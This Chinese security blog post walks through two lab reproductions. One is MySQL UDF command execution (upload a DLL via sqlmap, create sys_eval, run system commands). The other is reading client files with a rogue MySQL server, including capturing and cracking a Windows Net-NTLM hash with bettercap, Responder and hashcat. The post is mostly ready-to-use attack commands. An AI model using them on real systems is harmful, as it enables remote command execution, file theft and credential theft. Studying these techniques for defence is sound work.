网络安全

mysql udf和任意文件读取

2019-11-04  本文已影响0人  Instu

一、UDF提权

之前遇到php的环境,都是直接上传大马尝试udf提权,对udf的原理并不了解,今天花时间复现了一下。另外我觉得叫udf提权并不准确,最终的结果是使用mysql执行了系统命令,能不能提权成功取决于运行mysql服务的是不是高权限用户。

漏洞利用条件

  1. 已知mysql root用户的账号密码
  2. 没有secure_file_priv的限制

环境搭建

1.设置mysql允许root外联

use mysql;
grant all privileges on *.* to root@'%' identified by 'root';
flush privileges;

2.设置secure_file_priv

secure_file_priv=
MySQL [(none)]> SHOW VARIABLES LIKE "secure_file_priv";
my.ini

漏洞利用

1.查询mysql绝对路径

select @@basedir;
show variables like "%plugin%";

2.利用ntfs数据流创建plugin文件夹(如果文件夹不存在)

测试发现低版本的mysql可以成功创建文件夹,高版本的没有成功

mysql> select 'xxx' into dumpfile 'C:/phpstudy/MySQL/lib/plugin::$INDEX_ALLOCATION';

3.上传udf.dll文件

mysql版本小于5.1时,导出到c:\windows\system32目录,大于5.1时导出到../lib/plugin目录。
sqlmap和metasploit中都有udf文件,这里使用的msf,文件位置在/usr/share/metasploit-framework/data/exploits/mysql/

sqlmap -d "mysql://root:root@192.168.80.202:3306/mysql" --file-write="/root/lib_mysqludf_sys_32.dll" --file-dest="C:/phpStudy/mysql/lib/plugin/udf.dll"

4.从udf文件中引入自定义函数

MySQL [(none)]> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

5.使用自定义函数执行系统命令

MySQL [(none)]> select sys_eval('whoami');
image.png

二、mysql任意文件读取

原理

mysql的load data local infile函数用于读取客户端的文件并保存在表中,如果攻击者搭建一个伪造的mysql服务器,当有客户端连接这个伪造的mysql服务器时,利用load data local infile函数,攻击者就可以读取客户端主机上的文件。

实现过程

mysql -uroot -proot -h192.168.80.140
load data local infile "/etc/passwd" into table mysql.host FIELDS TERMINATED BY '\n';
image.png

linux系统的利用

如果连接伪造MySQL服务器的客户端在linux上运行,我们可以通过以下方法读取linux系统上的文件。

root@kali:~# bettercap -eval "set mysql.server.infile /etc/passwd; mysql.server on"
mysql -uroot -h192.168.80.130 -p
image.png image.png

windows系统的利用

INFILE支持使用UNC路径的方式,如果连接伪造MySQL服务器的客户端在Windows上运行,我们可以通过以下方法得到windows的Net-NTLM hash。

root@kali:~# bettercap
set mysql.server.infile \\192.168.80.130\test
mysql.server on
image.png
root@kali:~# git clone https://github.com/lgandx/Responder.git
root@kali:~# cd Responder/
root@kali:~/Responder# ./Responder.py -I eth0 -rv
mysql -uroot -h192.168.80.130 -p
image.png
root@kali:~# hashcat -m 5600 Administrator::WIN-A3QJ128S93I:c780067f2a0ae7bf:B85AE87F3BBF17DD5960DFAD6075A19B:0101000000000000C0653150DE09D201AB26C0BE9B8FEEB9000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000D7006384B53B06B857318D8C05A5C2A66BFC9AFDCD36062540942A9B227E7AE60A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00380030002E00310033003000000000000000000000000000 /root/top100.txt -o rst.txt --force
image.png

影响

参考

https://www.cnblogs.com/litlife/p/9030673.html
https://www.colabug.com/2019/0408/5936906/
https://www.anquanke.com/post/id/106488

上一篇下一篇

猜你喜欢

热点阅读